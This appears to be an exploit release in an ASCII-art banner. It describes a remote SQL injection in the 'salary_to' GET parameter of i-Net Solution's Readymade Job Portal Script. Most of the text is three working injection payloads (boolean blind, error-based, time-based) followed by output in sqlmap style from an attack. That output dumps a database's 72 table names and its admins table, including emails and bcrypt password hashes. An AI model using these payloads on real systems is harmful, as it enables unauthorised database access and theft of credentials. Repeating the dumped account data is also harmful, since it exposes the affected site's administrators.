┌┌───────────────────────────────────────────────────────────────────────────────────────┐
││                                     C r a C k E r                                    ┌┘
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                       [ Exploits ]                                   ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:  Author   : CraCkEr                        │ │                                         :
│  Website  : i-netsolution.com              │ │                                         │
│  Vendor   : i-Net Solution                 │ │                                         │
│  Software : Readymade Job Portal Script    │ │  Job Portal is a website that serves    │
│  Vuln Type: Remote SQL Injection           │ │  as a bridge between employers          │
│  Method   : GET                            │ │  and job seekers                        │
│  Impact   : Database Access                │ │                                         │
│                                            │ │                                         │
│────────────────────────────────────────────┘ └─────────────────────────────────────────│
│                              B4nks-NET irc.b4nks.tk #unix                             ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘
:                                                                                        :
│  Release Notes:                                                                        │
│  ═════════════                                                                         │
│  Typically used for remotely exploitable vulnerabilities that can lead to              │
│  system compromise.                                                                    │
│                                                                                        │
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                                                                      ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:
       
  Phr33k , NK, GoldenX, Wehla, Cap, ZARAGAGA, DarkCatSpace, R0ot, KnG, Centerk
  loool, DevS, Dark-Gost, Carlos132sp, ProGenius, bomb, fjear, H3LLB0Y, chamanwal, ix7
       
  CryptoJob (Twitter) twitter.com/CryptozJob
     
┌┌───────────────────────────────────────────────────────────────────────────────────────┐
┌┘                                     © CraCkEr 2022                                   ┌┘
└───────────────────────────────────────────────────────────────────────────────────────┘┘


GET parameter 'salary_to' is vulnerable.

---
Parameter: salary_to (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: search=&salary_from=222&salary_to=333) AND 3040=3040 AND (4873=4873

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: search=&salary_from=222&salary_to=333) AND (SELECT 3022 FROM(SELECT COUNT(*),CONCAT(0x71706a7671,(SELECT (ELT(3022=3022,1))),0x7162716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (1802=1802

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: search=&salary_from=222&salary_to=333) AND (SELECT 5992 FROM (SELECT(SLEEP(10)))wrGn) AND (8437=8437
---

[+] Starting the Attack


[INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0 (MariaDB fork)


[INFO] fetching current database
current database: 'theminsall_jobportal_db'


[INFO] fetching tables for database: 'theminsall_jobportal_db'

Database: theminsall_jobportal_db
[72 tables]
+----------------------------------+
| admin_password_resets            |
| admins                           |
| applicant_messages               |
| blog_categories                  |
| blogs                            |
| career_levels                    |
| cities                           |
| cms                              |
| cms_content                      |
| companies                        |
| company_messages                 |
| company_password_resets          |
| contact_messages                 |
| countries                        |
| countries_details                |
| degree_levels                    |
| degree_types                     |
| failed_jobs                      |
| faqs                             |
| favourite_applicants             |
| favourites_company               |
| favourites_job                   |
| functional_areas                 |
| genders                          |
| industries                       |
| job_alerts                       |
| job_apply                        |
| job_apply_rejected               |
| job_experiences                  |
| job_shifts                       |
| job_skills                       |
| job_titles                       |
| job_types                        |
| jobs                             |
| language_levels                  |
| languages                        |
| major_subjects                   |
| manage_job_skills                |
| marital_statuses                 |
| migrations                       |
| ownership_types                  |
| packages                         |
| password_resets                  |
| payu_transactions                |
| profile_cvs                      |
| profile_education_major_subjects |
| profile_educations               |
| profile_experiences              |
| profile_languages                |
| profile_projects                 |
| profile_skills                   |
| profile_summaries                |
| queue_jobs                       |
| report_abuse_company_messages    |
| report_abuse_messages            |
| result_types                     |
| roles                            |
| salary_periods                   |
| send_to_friend_messages          |
| seo                              |
| site_settings                    |
| sliders                          |
| states                           |
| subscriptions                    |
| testimonials                     |
| unlocked_users                   |
| user_messages                    |
| users                            |
| videos                           |
| widget_pages                     |
| widgets                          |
| widgets_data                     |
+----------------------------------+


[INFO] fetching columns for table 'admins' in database 'theminsall_jobportal_db'

Database: theminsall_jobportal_db
Table: admins
[8 columns]
+----------------+------------------+
| Column         | Type             |
+----------------+------------------+
| created_at     | timestamp        |
| email          | varchar(191)     |
| id             | int(10) unsigned |
| name           | varchar(191)     |
| password       | varchar(191)     |
| remember_token | varchar(100)     |
| role_id        | int(11)          |
| updated_at     | timestamp        |
+----------------+------------------+


[INFO] fetching entries of column(s) 'email,id,name,password' for table 'admins' in database 'theminsall_jobportal_db'

Database: theminsall_jobportal_db
Table: admins
[3 entries]
+----+--------------------+--------------------------------------------------------------+-----------+
| id | email              | password                                                     | name      |
+----+--------------------+--------------------------------------------------------------+-----------+
| 3  | buyer@buyer.com    | $2y$10$47ig/2wfYDc6EVg0iVnvp.l.jC0APqEVUjR7P6PFYTEhbNFzHPJ66 | Buyer     |
| 4  | sub@jobsportal.com | $2y$10$uxtmaI.4Xrb3EEaLW6uvBuOKXyWCNtZ05pQFMwd6Jd1G0k9ZlKV/C | Sub Admin |
| 5  | admin@gmail.com    | $2y$10$AvprFLS9PQXUs.3QVwyYZejm4FVYlKM02.nykVF.dVxS9D82I8ZLG | Admin     |
+----+--------------------+--------------------------------------------------------------+-----------+
                            Possible Algorithms: bcrypt $2*$, Blowfish (Unix)


[-] Done